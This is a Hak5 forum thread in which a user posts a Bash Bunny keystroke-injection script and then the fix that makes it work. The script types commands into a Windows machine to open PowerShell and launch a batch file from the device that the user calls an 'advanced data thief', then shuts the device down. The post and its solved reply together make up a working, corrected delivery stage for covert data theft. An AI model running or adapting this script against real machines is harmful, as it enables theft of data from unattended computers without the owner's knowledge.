Jump to content

New to Hak 5 Help with a script


Gee403
 Share

Go to solution Solved by Gee403,

Recommended Posts

ive had no luck getting anything anyones made to work at least not like the hid execution of it , im trying to use the advanced data theif verifiy.bat with my script but power shell wont properly execute it it , i just dont think i know enough about coding cause if i type all these commands manually it works , powershell just is removing all the \ from my key strokes so it wont properly execute.

 

EJECT_TIME=45


CUCUMBER DISABLE
ATTACKMODE HID STORAGE
Q DELAY 1000
LED ATTACK
Q DELAY 100
Q GUI r
Q DELAY 100
Q STRING cmd.exe /c start powershell
Q ENTER
Q DELAY 150
Q STRING Start-Process D:\payloads\switch2\verifiy.bat
Q ENTER
Q DELAY 1500
Q STRING EXIT
Q ENTER
Q Delay 50
Q STRING EXIT
Q ENTER
sync
LED FINISH
Q DELAY 1500
shutdown now

 

it works up until i try to run the verifiy.bat , i think i just dont know the right syntax to excute a .bat like that because the error im getting is missing some of my input

 

PS C:\Users\workd> Start-Process D:payloads.switch2.verifiy.bat
Start-Process : This command cannot be run due to the error: The system cannot find the file specified.
At line:1 char:1
+ Start-Process D:payloads.switch2.verifiy.bat
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Start-Process], InvalidOperationException
    + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.StartProcessCommand

Link to comment
Share on other sites

  • Solution
35 minutes ago, Gee403 said:

Q STRING Start-Process D:\payloads\switch2\verifiy.bat

changed it to Q STRING "D:\payloads\switch2\verifiy.bat & '' " and now it runs as intended

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...